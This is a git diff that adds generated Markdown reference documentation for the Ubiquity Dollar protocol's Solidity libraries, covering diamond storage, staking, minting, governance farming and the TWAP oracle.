a/packages/contracts/docs/src/src/dollar/libraries/LibDiamond.sol/library.LibDiamond.md b/packages/contracts/docs/src/src/dollar/libraries/LibDiamond.sol/library.LibDiamond.md new file mode 100644 index 000000000..ae09bb95f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibDiamond.sol/library.LibDiamond.md @@ -0,0 +1,276 @@ +# LibDiamond +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibDiamond.sol) + +Library used for diamond facets and selector modifications + +*Remember to add the loupe functions from DiamondLoupeFacet to the diamond. +The loupe functions are required by the EIP2535 Diamonds standard.* + + +## State Variables +### DIAMOND_STORAGE_POSITION +Storage slot used to store data for this library + + +```solidity +bytes32 constant DIAMOND_STORAGE_POSITION = + bytes32(uint256(keccak256("diamond.standard.diamond.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### diamondStorage + +Returns struct used as a storage for this library + + +```solidity +function diamondStorage() internal pure returns (DiamondStorage storage ds); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`ds`|`DiamondStorage`|Struct used as a storage| + + +### setContractOwner + +Updates contract owner + + +```solidity +function setContractOwner(address _newOwner) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_newOwner`|`address`|New contract owner| + + +### contractOwner + +Returns contract owner + + +```solidity +function contractOwner() internal view returns (address contractOwner_); +``` + +### enforceIsContractOwner + +Checks that `msg.sender` is a contract owner + + +```solidity +function enforceIsContractOwner() internal view; +``` + +### diamondCut + +Add/replace/remove any number of functions and optionally execute a function with delegatecall + +*`_calldata` is executed with delegatecall on `_init`* + + +```solidity +function diamondCut(IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_diamondCut`|`IDiamondCut.FacetCut[]`|Contains the facet addresses and function selectors| +|`_init`|`address`|The address of the contract or facet to execute _calldata| +|`_calldata`|`bytes`|A function call, including function selector and arguments| + + +### addFunctions + +Adds new functions to a facet + + +```solidity +function addFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_facetAddress`|`address`|Facet address| +|`_functionSelectors`|`bytes4[]`|Function selectors to add| + + +### replaceFunctions + +Replaces functions in a facet + + +```solidity +function replaceFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_facetAddress`|`address`|Facet address| +|`_functionSelectors`|`bytes4[]`|Function selectors to replace with| + + +### removeFunctions + +Removes functions from a facet + + +```solidity +function removeFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_facetAddress`|`address`|Facet address| +|`_functionSelectors`|`bytes4[]`|Function selectors to remove| + + +### addFacet + +Adds a new diamond facet + + +```solidity +function addFacet(DiamondStorage storage ds, address _facetAddress) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`ds`|`DiamondStorage`|Struct used as a storage| +|`_facetAddress`|`address`|Facet address to add| + + +### addFunction + +Adds new function to a facet + + +```solidity +function addFunction(DiamondStorage storage ds, bytes4 _selector, uint96 _selectorPosition, address _facetAddress) + internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`ds`|`DiamondStorage`|Struct used as a storage| +|`_selector`|`bytes4`|Function selector to add| +|`_selectorPosition`|`uint96`|Position in `FacetFunctionSelectors.functionSelectors` array| +|`_facetAddress`|`address`|Facet address| + + +### removeFunction + +Removes function from a facet + + +```solidity +function removeFunction(DiamondStorage storage ds, address _facetAddress, bytes4 _selector) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`ds`|`DiamondStorage`|Struct used as a storage| +|`_facetAddress`|`address`|Facet address| +|`_selector`|`bytes4`|Function selector to add| + + +### initializeDiamondCut + +Function called on diamond cut modification + +*`_calldata` is executed with delegatecall on `_init`* + + +```solidity +function initializeDiamondCut(address _init, bytes memory _calldata) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_init`|`address`|The address of the contract or facet to execute _calldata| +|`_calldata`|`bytes`|A function call, including function selector and arguments| + + +### enforceHasContractCode + +Reverts if `_contract` address doesn't have any code + + +```solidity +function enforceHasContractCode(address _contract, string memory _errorMessage) internal view; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_contract`|`address`|Contract address to check for empty code| +|`_errorMessage`|`string`|Error message| + + +## Events +### OwnershipTransferred +Emitted when contract owner is updated + + +```solidity +event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); +``` + +### DiamondCut +Emitted when facet is modified + + +```solidity +event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata); +``` + +## Structs +### FacetAddressAndPosition +Struct used as a mapping of facet to function selector position + + +```solidity +struct FacetAddressAndPosition { + address facetAddress; + uint96 functionSelectorPosition; +} +``` + +### FacetFunctionSelectors +Struct used as a mapping of facet to function selectors + + +```solidity +struct FacetFunctionSelectors { + bytes4[] functionSelectors; + uint256 facetAddressPosition; +} +``` + +### DiamondStorage +Struct used as a storage for this library + + +```solidity +struct DiamondStorage { + mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition; + mapping(address => FacetFunctionSelectors) facetFunctionSelectors; + address[] facetAddresses; + mapping(bytes4 => bool) supportedInterfaces; + address contractOwner; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibDirectGovernanceFarmer.sol/library.LibDirectGovernanceFarmer.md b/packages/contracts/docs/src/src/dollar/libraries/LibDirectGovernanceFarmer.sol/library.LibDirectGovernanceFarmer.md new file mode 100644 index 000000000..79a73516a --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibDirectGovernanceFarmer.sol/library.LibDirectGovernanceFarmer.md @@ -0,0 +1,257 @@ +# LibDirectGovernanceFarmer +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibDirectGovernanceFarmer.sol) + + +## State Variables +### DIRECT_GOVERNANCE_STORAGE_POSITION +Storage slot used to store data for this library + + +```solidity +bytes32 constant DIRECT_GOVERNANCE_STORAGE_POSITION = + bytes32(uint256(keccak256("ubiquity.contracts.direct.governance.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### directGovernanceStorage + +Returns struct used as a storage for this library + + +```solidity +function directGovernanceStorage() internal pure returns (DirectGovernanceData storage data); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`data`|`DirectGovernanceData`|Struct used as a storage| + + +### init + +Used to initialize this facet with corresponding values + + +```solidity +function init(address _manager, address base3Pool, address ubiquity3PoolLP, address _ubiquityDollar, address depositZap) + internal; +``` + +### depositSingle + +Standard Interface Provided by Curve /// + +Deposits a single token to staking + +Stable coin (DAI / USDC / USDT / Ubiquity Dollar) => Dollar-3CRV LP => Ubiquity Staking + +How it works: +1. User deposit supported stablecoins +2. Deposited stablecoins are added to Curve MetaPool +3. User gets Dollar-3CRV LP tokens +4. Dollar-3CRV LP tokens are transferred to the staking contract +5. User gets a staking share id + + +```solidity +function depositSingle(address token, uint256 amount, uint256 durationWeeks) + internal + returns (uint256 stakingShareId); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`token`|`address`|Token deposited : Stablecoin| +|`amount`|`uint256`|Amount of tokens to deposit (For max: `uint256(-1)`)| +|`durationWeeks`|`uint256`|Duration in weeks tokens will be locked (1-208)| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking share id| + + +### depositMulti + +Deposits into Ubiquity protocol + +Stable coins (DAI / USDC / USDT / Ubiquity Dollar) => uAD3CRV-f => Ubiquity StakingShare + +STEP 1 : Change (DAI / USDC / USDT / Ubiquity dollar) to 3CRV at uAD3CRV MetaPool + +STEP 2 : uAD3CRV-f => Ubiquity StakingShare + + +```solidity +function depositMulti(uint256[4] calldata tokenAmounts, uint256 durationWeeks) + internal + returns (uint256 stakingShareId); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`tokenAmounts`|`uint256[4]`|Amount of tokens to deposit (For max: `uint256(-1)`) it MUST follow this order [Ubiquity Dollar, DAI, USDC, USDT]| +|`durationWeeks`|`uint256`|Duration in weeks tokens will be locked (1-208)| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking share id| + + +### withdrawWithId + +Withdraws from Ubiquity protocol + +Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + +STEP 1 : Ubiquity StakingShare => uAD3CRV-f + +STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + + +```solidity +function withdrawWithId(uint256 stakingShareId) internal returns (uint256[4] memory tokenAmounts); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking Share Id to withdraw| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`tokenAmounts`|`uint256[4]`|Array of token amounts [Ubiquity Dollar, DAI, USDC, USDT]| + + +### withdraw + +Withdraws from Ubiquity protocol + +Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + +STEP 1 : Ubiquity StakingShare => uAD3CRV-f + +STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + + +```solidity +function withdraw(uint256 stakingShareId, address token) internal returns (uint256 tokenAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareId`|`uint256`|Staking Share Id to withdraw| +|`token`|`address`|Token to withdraw to : DAI, USDC, USDT, 3CRV or Ubiquity Dollar| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`tokenAmount`|`uint256`|Amount of token withdrawn| + + +### isIdIncluded + +Checks whether `id` exists in `idList[]` + + +```solidity +function isIdIncluded(uint256[] memory idList, uint256 id) internal pure returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`idList`|`uint256[]`|Array to search in| +|`id`|`uint256`|Value to search in `idList`| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether `id` exists in `idList[]`| + + +### isMetaPoolCoin + +Checks that `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool + + +```solidity +function isMetaPoolCoin(address token) internal pure returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`token`|`address`|Token address to check| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool| + + +## Events +### DepositSingle +Emitted when user deposits a single token + + +```solidity +event DepositSingle( + address indexed sender, address token, uint256 amount, uint256 durationWeeks, uint256 stakingShareId +); +``` + +### DepositMulti +Emitted when user deposits multiple tokens + + +```solidity +event DepositMulti(address indexed sender, uint256[4] amounts, uint256 durationWeeks, uint256 stakingShareId); +``` + +### Withdraw +Emitted when user withdraws a single token + + +```solidity +event Withdraw(address indexed sender, uint256 stakingShareId, address token, uint256 amount); +``` + +### WithdrawAll +Emitted when user withdraws multiple tokens + + +```solidity +event WithdrawAll(address indexed sender, uint256 stakingShareId, uint256[4] amounts); +``` + +## Structs +### DirectGovernanceData +Struct used as a storage for the current library + + +```solidity +struct DirectGovernanceData { + address token0; + address token1; + address token2; + address ubiquity3PoolLP; + IERC20Ubiquity ubiquityDollar; + address depositZapUbiquityDollar; + IUbiquityDollarManager manager; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibDollarMintCalculator.sol/library.LibDollarMintCalculator.md b/packages/contracts/docs/src/src/dollar/libraries/LibDollarMintCalculator.sol/library.LibDollarMintCalculator.md new file mode 100644 index 000000000..bd579427c --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibDollarMintCalculator.sol/library.LibDollarMintCalculator.md @@ -0,0 +1,22 @@ +# LibDollarMintCalculator +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibDollarMintCalculator.sol) + +Calculates amount of Dollars ready to be minted when TWAP price (i.e. Dollar price) > 1$ + + +## Functions +### getDollarsToMint + +Returns amount of Dollars to be minted based on formula `(TWAP_PRICE - 1) * DOLLAR_TOTAL_SUPPLY` + + +```solidity +function getDollarsToMint() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Dollars to be minted| + + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibDollarMintExcess.sol/library.LibDollarMintExcess.md b/packages/contracts/docs/src/src/dollar/libraries/LibDollarMintExcess.sol/library.LibDollarMintExcess.md new file mode 100644 index 000000000..c495160a5 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibDollarMintExcess.sol/library.LibDollarMintExcess.md @@ -0,0 +1,103 @@ +# LibDollarMintExcess +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibDollarMintExcess.sol) + +Library for distributing excess Dollars when `mintClaimableDollars()` is called + +Excess Dollars are distributed this way: +- 50% goes to the treasury address +- 10% goes for burning Dollar-Governance LP tokens in a DEX pool +- 40% goes to the Staking contract + + +## State Variables +### _minAmountToDistribute +Min amount of Dollars to distribute + + +```solidity +uint256 private constant _minAmountToDistribute = 100 ether; +``` + + +### _router +DEX router address + + +```solidity +IUniswapV2Router01 private constant _router = IUniswapV2Router01(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); +``` + + +## Functions +### distributeDollars + +Distributes excess Dollars: +- 50% goes to the treasury address +- 10% goes for burning Dollar-Governance LP tokens in a DEX pool +- 40% goes to the Staking contract + + +```solidity +function distributeDollars() internal; +``` + +### _swapDollarsForGovernance + +Swaps Dollars for Governance tokens in a DEX + + +```solidity +function _swapDollarsForGovernance(bytes16 amountIn) internal returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amountIn`|`bytes16`|Amount of Dollars to swap| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Governance tokens returned| + + +### _governanceBuyBackLPAndBurn + +Swaps half of `amount` Dollars for Governance tokens and adds +them as a liquidity to a DEX pool burning the result LP tokens + + +```solidity +function _governanceBuyBackLPAndBurn(uint256 amount) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars| + + +### _convertToCurveLPAndTransfer + +Swaps `amount` Dollars for 3CRV LP tokens in the MetaPool, adds +3CRV LP tokens to the MetaPool and transfers the result Dollar-3CRV LP tokens +to the Staking contract + + +```solidity +function _convertToCurveLPAndTransfer(uint256 amount) internal returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Dollars amount| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Dollar-3CRV LP tokens minted| + + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibStaking.sol/library.LibStaking.md b/packages/contracts/docs/src/src/dollar/libraries/LibStaking.sol/library.LibStaking.md new file mode 100644 index 000000000..132e00e05 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibStaking.sol/library.LibStaking.md @@ -0,0 +1,386 @@ +# LibStaking +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibStaking.sol) + +Staking library + + +## State Variables +### STAKING_CONTROL_STORAGE_SLOT +Storage slot used to store data for this library + + +```solidity +bytes32 constant STAKING_CONTROL_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.staking.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### stakingStorage + +Returns struct used as a storage for this library + + +```solidity +function stakingStorage() internal pure returns (StakingData storage l); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`l`|`StakingData`|Struct used as a storage| + + +### dollarPriceReset + +Removes Ubiquity Dollar unilaterally from the curve LP share sitting inside +the staking contract and sends the Ubiquity Dollar received to the treasury. This will +have the immediate effect of pushing the Ubiquity Dollar price HIGHER + +It will remove one coin only from the curve LP share sitting in the staking contract + + +```solidity +function dollarPriceReset(uint256 amount) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of LP token to be removed for Ubiquity Dollar| + + +### crvPriceReset + +Remove 3CRV unilaterally from the curve LP share sitting inside +the staking contract and send the 3CRV received to the treasury. This will +have the immediate effect of pushing the Ubiquity Dollar price LOWER. + +It will remove one coin only from the curve LP share sitting in the staking contract + + +```solidity +function crvPriceReset(uint256 amount) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of LP token to be removed for 3CRV tokens| + + +### setStakingDiscountMultiplier + +Sets staking discount multiplier + + +```solidity +function setStakingDiscountMultiplier(uint256 _stakingDiscountMultiplier) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stakingDiscountMultiplier`|`uint256`|New staking discount multiplier| + + +### stakingDiscountMultiplier + +Returns staking discount multiplier + + +```solidity +function stakingDiscountMultiplier() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Staking discount multiplier| + + +### blockCountInAWeek + +Returns number of blocks in a week + + +```solidity +function blockCountInAWeek() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Number of blocks in a week| + + +### setBlockCountInAWeek + +Sets number of blocks in a week + + +```solidity +function setBlockCountInAWeek(uint256 _blockCountInAWeek) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_blockCountInAWeek`|`uint256`|Number of blocks in a week| + + +### deposit + +Deposits UbiquityDollar-3CRV LP tokens for a duration to receive staking shares + +Weeks act as a multiplier for the amount of staking shares to be received + + +```solidity +function deposit(uint256 _lpsAmount, uint256 _weeks) internal returns (uint256 _id); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_lpsAmount`|`uint256`|Amount of LP tokens to send| +|`_weeks`|`uint256`|Number of weeks during which LP tokens will be held| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_id`|`uint256`|Staking share id| + + +### addLiquidity + +Adds an amount of UbiquityDollar-3CRV LP tokens + +Staking shares are ERC1155 (aka NFT) because they have an expiration date + + +```solidity +function addLiquidity(uint256 _amount, uint256 _id, uint256 _weeks) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Amount of LP token to deposit| +|`_id`|`uint256`|Staking share id| +|`_weeks`|`uint256`|Number of weeks during which LP tokens will be held| + + +### removeLiquidity + +Removes an amount of UbiquityDollar-3CRV LP tokens + +Staking shares are ERC1155 (aka NFT) because they have an expiration date + + +```solidity +function removeLiquidity(uint256 _amount, uint256 _id) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Amount of LP token deposited when `_id` was created to be withdrawn| +|`_id`|`uint256`|Staking share id| + + +### pendingLpRewards + +View function to see pending LP rewards on frontend + + +```solidity +function pendingLpRewards(uint256 _id) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_id`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP rewards| + + +### lpRewardForShares + +Returns the amount of LP token rewards an amount of shares entitled + + +```solidity +function lpRewardForShares(uint256 amount, uint256 lpRewardDebt) internal view returns (uint256 pendingLpReward); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of staking shares| +|`lpRewardDebt`|`uint256`|Amount of LP rewards that have already been distributed| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`pendingLpReward`|`uint256`|Amount of pending LP rewards| + + +### currentShareValue + +Returns current share price + + +```solidity +function currentShareValue() internal view returns (uint256 priceShare); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`priceShare`|`uint256`|Share price| + + +### _updateLpPerShare + +Updates the accumulated excess LP per share + + +```solidity +function _updateLpPerShare() internal; +``` + +### _mint + +Mints a staking share on deposit + + +```solidity +function _mint(address to, uint256 lpAmount, uint256 shares, uint256 endBlock) internal returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address where to mint a staking share| +|`lpAmount`|`uint256`|Amount of LP tokens| +|`shares`|`uint256`|Amount of shares| +|`endBlock`|`uint256`|Staking share end block| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Staking share id| + + +### _checkForLiquidity + +Returns staking share info + + +```solidity +function _checkForLiquidity(uint256 _id) + internal + view + returns (uint256[2] memory bs, StakingShare.Stake memory stake); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_id`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`bs`|`uint256[2]`|Array of amount of shares and reward debt| +|`stake`|`StakingShare.Stake`|Stake info| + + +## Events +### PriceReset +Emitted when Dollar or 3CRV tokens are removed from Curve MetaPool + + +```solidity +event PriceReset(address _tokenWithdrawn, uint256 _amountWithdrawn, uint256 _amountTransferred); +``` + +### Deposit +Emitted when user deposits Dollar-3CRV LP tokens to the staking contract + + +```solidity +event Deposit( + address indexed _user, + uint256 indexed _id, + uint256 _lpAmount, + uint256 _stakingShareAmount, + uint256 _weeks, + uint256 _endBlock +); +``` + +### RemoveLiquidityFromStake +Emitted when user removes liquidity from stake + + +```solidity +event RemoveLiquidityFromStake( + address indexed _user, + uint256 indexed _id, + uint256 _lpAmount, + uint256 _lpAmountTransferred, + uint256 _lpRewards, + uint256 _stakingShareAmount +); +``` + +### AddLiquidityFromStake +Emitted when user adds liquidity to stake + + +```solidity +event AddLiquidityFromStake(address indexed _user, uint256 indexed _id, uint256 _lpAmount, uint256 _stakingShareAmount); +``` + +### StakingDiscountMultiplierUpdated +Emitted when staking discount multiplier is updated + + +```solidity +event StakingDiscountMultiplierUpdated(uint256 _stakingDiscountMultiplier); +``` + +### BlockCountInAWeekUpdated +Emitted when number of blocks in week is updated + + +```solidity +event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek); +``` + +## Structs +### StakingData +Struct used as a storage for the current library + + +```solidity +struct StakingData { + uint256 stakingDiscountMultiplier; + uint256 blockCountInAWeek; + uint256 accLpRewardPerShare; + uint256 lpRewards; + uint256 totalLpToMigrate; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibStakingFormulas.sol/library.LibStakingFormulas.md b/packages/contracts/docs/src/src/dollar/libraries/LibStakingFormulas.sol/library.LibStakingFormulas.md new file mode 100644 index 000000000..d3fa2eceb --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibStakingFormulas.sol/library.LibStakingFormulas.md @@ -0,0 +1,219 @@ +# LibStakingFormulas +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibStakingFormulas.sol) + +Library for staking formulas + + +## Functions +### correctedAmountToWithdraw + +Formula to calculate the corrected amount to withdraw based on the proportion of +LP deposited against actual LP tokens in the staking contract + +`corrected_amount = amount * (stakingLpBalance / totalLpDeposited)` + +If there is more or the same amount of LP than deposited then do nothing + + +```solidity +function correctedAmountToWithdraw(uint256 _totalLpDeposited, uint256 _stakingLpBalance, uint256 _amount) + internal + pure + returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_totalLpDeposited`|`uint256`|Total amount of LP deposited by users| +|`_stakingLpBalance`|`uint256`|Actual staking contract LP tokens balance minus LP rewards| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP tokens to redeem| + + +### sharesForLP + +Formula of governance rights corresponding to a staking shares LP amount + +Used on removing liquidity from staking + +`shares = (stake.shares * _amount) / stake.lpAmount` + + +```solidity +function sharesForLP(StakingShare.Stake memory _stake, uint256[2] memory _shareInfo, uint256 _amount) + internal + pure + returns (uint256 _uLP); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stake`|`StakingShare.Stake`|Stake info of staking share| +|`_shareInfo`|`uint256[2]`|Array of share amounts| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_uLP`|`uint256`|Amount of shares| + + +### lpRewardsRemoveLiquidityNormalization + +Formula may add a decreasing rewards if locking end is near when removing liquidity + +`rewards = _amount` + + +```solidity +function lpRewardsRemoveLiquidityNormalization(StakingShare.Stake memory, uint256[2] memory, uint256 _amount) + internal + pure + returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|``|`StakingShare.Stake`|| +|``|`uint256[2]`|| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP rewards| + + +### lpRewardsAddLiquidityNormalization + +Formula may add a decreasing rewards if locking end is near when adding liquidity + +`rewards = _amount` + + +```solidity +function lpRewardsAddLiquidityNormalization(StakingShare.Stake memory, uint256[2] memory, uint256 _amount) + internal + pure + returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|``|`StakingShare.Stake`|| +|``|`uint256[2]`|| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP rewards| + + +### durationMultiply + +Formula duration multiply + +`_shares = (1 + _multiplier * _weeks^3/2) * _uLP` + +`D32 = D^3/2` + +`S = m * D32 * A + A` + + +```solidity +function durationMultiply(uint256 _uLP, uint256 _weeks, uint256 _multiplier) internal pure returns (uint256 _shares); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_uLP`|`uint256`|Amount of LP tokens| +|`_weeks`|`uint256`|Minimum duration of staking period| +|`_multiplier`|`uint256`|Staking discount multiplier = 0.0001| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_shares`|`uint256`|Amount of shares| + + +### bondPrice + +Formula staking price + + +``` +IF _totalStakingShares = 0 +priceBOND = TARGET_PRICE +ELSE +priceBOND = totalLP / totalShares * TARGET_PRICE +R = T == 0 ? 1 : LP / S +P = R * T +``` + + +```solidity +function bondPrice(uint256 _totalULP, uint256 _totalStakingShares, uint256 _targetPrice) + internal + pure + returns (uint256 _stakingPrice); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_totalULP`|`uint256`|Total LP tokens| +|`_totalStakingShares`|`uint256`|Total staking shares| +|`_targetPrice`|`uint256`|Target Ubiquity Dollar price| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_stakingPrice`|`uint256`|Staking share price| + + +### governanceMultiply + +Formula Governance token multiply + + +``` +new_multiplier = multiplier * (1.05 / (1 + abs(1 - price))) +nM = M * C / A +A = (1 + abs(1 - P))) +5 >= multiplier >= 0.2 +``` + + +```solidity +function governanceMultiply(uint256 _multiplier, uint256 _price) internal pure returns (uint256 _newMultiplier); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_multiplier`|`uint256`|Initial Governance token min multiplier| +|`_price`|`uint256`|Current share price| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_newMultiplier`|`uint256`|New Governance token min multiplier| + + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibTWAPOracle.sol/library.LibTWAPOracle.md b/packages/contracts/docs/src/src/dollar/libraries/LibTWAPOracle.sol/library.LibTWAPOracle.md new file mode 100644 index 000000000..21e5f7cc3 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibTWAPOracle.sol/library.LibTWAPOracle.md @@ -0,0 +1,135 @@ +# LibTWAPOracle +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/4924ab0035521e70625d704791f5b260a4713327/src/dollar/libraries/LibTWAPOracle.sol) + +Library used for Curve TWAP oracle in the Dollar MetaPool + + +## State Variables +### TWAP_ORACLE_STORAGE_POSITION +Storage slot used to store data for this library + + +```solidity +bytes32 constant TWAP_ORACLE_STORAGE_POSITION = bytes32(uint256(keccak256("diamond.standard.twap.oracle.storage")) - 1); +``` + + +## Functions +### setPool + +Sets Curve MetaPool to be used as a TWAP oracle + + +```solidity +function setPool(address _pool, address _curve3CRVToken1) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Curve MetaPool address, pool for 2 tokens [Dollar, 3CRV LP]| +|`_curve3CRVToken1`|`address`|Curve 3Pool LP token address| + + +### update + +Updates the following state variables to the latest values from MetaPool: +- Dollar / 3CRV LP quote +- 3CRV LP / Dollar quote +- cumulative prices +- update timestamp + + +```solidity +function update() internal; +``` + +### consult + +Returns the quote for the provided `token` address + +If the `token` param is Dollar then returns 3CRV LP / Dollar quote + +If the `token` param is 3CRV LP then returns Dollar / 3CRV LP quote + + +```solidity +function consult(address token) internal view returns (uint256 amountOut); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`token`|`address`|Token address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| 